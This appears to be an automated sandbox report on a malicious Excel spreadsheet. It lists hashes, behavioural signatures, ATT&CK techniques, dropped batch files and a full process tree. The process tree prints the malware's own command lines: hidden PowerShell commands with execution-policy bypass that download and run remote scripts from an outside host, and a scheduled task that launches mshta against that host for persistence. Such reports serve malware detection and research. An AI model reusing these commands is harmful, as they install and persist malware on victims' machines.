d5d8cca33368d72e3d58ea71e3b4984f336d93b21af1c896141635961a0d777d

General

Target

SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls
Size

33KB
MD5

7a115715d7ff051cdc0a008521e2c35e
SHA1

34e5ceddef13f16f6f5ee775c198b5cf76552b55
SHA256

d5d8cca33368d72e3d58ea71e3b4984f336d93b21af1c896141635961a0d777d
SHA512

821f80a21bef4999bfd9f1aa846d1b5649dbb96d4e0acf3004966eb7ba9f418412db0450dcc11c72cca4c8ce1d9c2b9ac0b33ce8083f3e814bc9c74d15ec670e

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1996	900	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4976	900	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4892	900	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4868	900	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

16 3372 powershell.exe
26 2600 powershell.exe

flow	pid	process
16	3372	powershell.exe
26	2600	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4320 schtasks.exe

pid	process
4320	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4344 taskkill.exe
Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

3548 PING.EXE
1292 PING.EXE
1768 PING.EXE
376 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

900 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3372 powershell.exe
3372 powershell.exe
2600 powershell.exe
2600 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4344 taskkill.exe
Token: SeDebugPrivilege 3372 powershell.exe
Token: SeDebugPrivilege 2600 powershell.exe

pid	process
4344	taskkill.exe

pid	process
3548	PING.EXE
1292	PING.EXE
1768	PING.EXE
376	PING.EXE

pid	process
3372	powershell.exe
3372	powershell.exe
2600	powershell.exe
2600	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4344	taskkill.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

EXCEL.EXEcmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 900 wrote to memory of 1996	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 1996	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 4976	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 4976	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 4892	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 4892	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 4868	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 4868	900	EXCEL.EXE	cmd.exe
PID 4976 wrote to memory of 3548	4976	cmd.exe	PING.EXE
PID 4976 wrote to memory of 3548	4976	cmd.exe	PING.EXE
PID 4892 wrote to memory of 376	4892	cmd.exe	PING.EXE
PID 4892 wrote to memory of 376	4892	cmd.exe	PING.EXE
PID 4868 wrote to memory of 1768	4868	cmd.exe	PING.EXE
PID 4868 wrote to memory of 1768	4868	cmd.exe	PING.EXE
PID 1996 wrote to memory of 1292	1996	cmd.exe	PING.EXE
PID 1996 wrote to memory of 1292	1996	cmd.exe	PING.EXE
PID 4892 wrote to memory of 100	4892	cmd.exe	cmd.exe
PID 4892 wrote to memory of 100	4892	cmd.exe	cmd.exe
PID 100 wrote to memory of 3372	100	cmd.exe	powershell.exe
PID 100 wrote to memory of 3372	100	cmd.exe	powershell.exe
PID 4892 wrote to memory of 4476	4892	cmd.exe	cmd.exe
PID 4892 wrote to memory of 4476	4892	cmd.exe	cmd.exe
PID 4476 wrote to memory of 4344	4476	cmd.exe	taskkill.exe
PID 4476 wrote to memory of 4344	4476	cmd.exe	taskkill.exe
PID 1996 wrote to memory of 3612	1996	cmd.exe	cmd.exe
PID 1996 wrote to memory of 3612	1996	cmd.exe	cmd.exe
PID 3612 wrote to memory of 2600	3612	cmd.exe	powershell.exe
PID 3612 wrote to memory of 2600	3612	cmd.exe	powershell.exe
PID 4976 wrote to memory of 4500	4976	cmd.exe	cmd.exe
PID 4976 wrote to memory of 4500	4976	cmd.exe	cmd.exe
PID 4500 wrote to memory of 4320	4500	cmd.exe	schtasks.exe
PID 4500 wrote to memory of 4320	4500	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\system32\PING.EXE
ping -n 80 127.0.0.1
3⤵
- Runs ping.exe
PID:1292

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2600

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\system32\PING.EXE
ping -n 85 127.0.0.1
3⤵
- Runs ping.exe
PID:3548

C:\Windows\system32\cmd.exe
cmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
3⤵
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
4⤵
- Creates scheduled task(s)
PID:4320

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4892

C:\Windows\system32\PING.EXE
ping -n 10 127.0.0.1
3⤵
- Runs ping.exe
PID:376

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3372

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:4476

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4344

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4868

C:\Windows\system32\PING.EXE
ping -n 7 127.0.0.1
3⤵
- Runs ping.exe
PID:1768

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv zjLU7L2E1UuRYr7hmqhQ6Q.0
1⤵
PID:612

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
6KB

MD5
e1d6c0074704a2bab7c9c0fc6b159a60

SHA1
1db9ce60318edd6c3f1ee8068879c32f830d08b8

SHA256
6b97462d29991d0a578776fdcb3f662f2edc66228c50b066ce1bb2358b8ff4c8

SHA512
faa7f00d7630aadd083a01911f255e3eb433ac89d92680959da116e6d31c3c12f8cf9e46cdd121a36fe0052efeea46f4cf52e64101af86e72c9752fe8a4e3c7a

Download Submit
C:\Users\Public\DefenderFile.bat
Filesize
1KB

MD5
ae4a0997ce01f4ebbb3f3cc0054ce933

SHA1
e5bfe3b390f1208b8b6ea0317f4364005f552851

SHA256
a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce

SHA512
5de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184

Download Submit
C:\Users\Public\Outlook.bat
Filesize
900B

MD5
0427a3545c2eaed3167cffe2cf5f8aba

SHA1
b27f3a7d2b855f1d0b84727603add711bb6f6170

SHA256
ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391

SHA512
fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b

Download Submit
C:\Users\Public\task.bat
Filesize
954B

MD5
20a395a26f50352dc994664c3e7df533

SHA1
9b6407d22297b7af7c49aacd51bf42e51ced7029

SHA256
c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32

SHA512
2b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617

Download Submit
memory/100-148-0x0000000000000000-mapping.dmp

Download
memory/376-144-0x0000000000000000-mapping.dmp

Download
memory/900-134-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-171-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-170-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-169-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-133-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-135-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-136-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-138-0x00007FFA78330000-0x00007FFA78340000-memory.dmp

Filesize
64KB

Download
memory/900-168-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/900-137-0x00007FFA78330000-0x00007FFA78340000-memory.dmp

Filesize
64KB

Download
memory/900-132-0x00007FFA7AC90000-0x00007FFA7ACA0000-memory.dmp

Filesize
64KB

Download
memory/1292-146-0x0000000000000000-mapping.dmp

Download
memory/1768-145-0x0000000000000000-mapping.dmp

Download
memory/1996-139-0x0000000000000000-mapping.dmp

Download
memory/2600-158-0x0000000000000000-mapping.dmp

Download
memory/2600-163-0x00007FFA92000000-0x00007FFA92AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2600-162-0x00007FFA92000000-0x00007FFA92AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3372-152-0x000001C429250000-0x000001C429272000-memory.dmp

Filesize
136KB

Download
memory/3372-153-0x00007FFA92000000-0x00007FFA92AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3372-154-0x00007FFA92000000-0x00007FFA92AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3372-155-0x00007FFA92000000-0x00007FFA92AC1000-memory.dmp

Filesize
10.8MB

Download
memory/3372-149-0x0000000000000000-mapping.dmp

Download
memory/3548-143-0x0000000000000000-mapping.dmp

Download
memory/3612-157-0x0000000000000000-mapping.dmp

Download
memory/4320-166-0x0000000000000000-mapping.dmp

Download
memory/4344-151-0x0000000000000000-mapping.dmp

Download
memory/4476-150-0x0000000000000000-mapping.dmp

Download
memory/4500-165-0x0000000000000000-mapping.dmp

Download
memory/4868-142-0x0000000000000000-mapping.dmp

Download
memory/4892-141-0x0000000000000000-mapping.dmp

Download
memory/4976-140-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads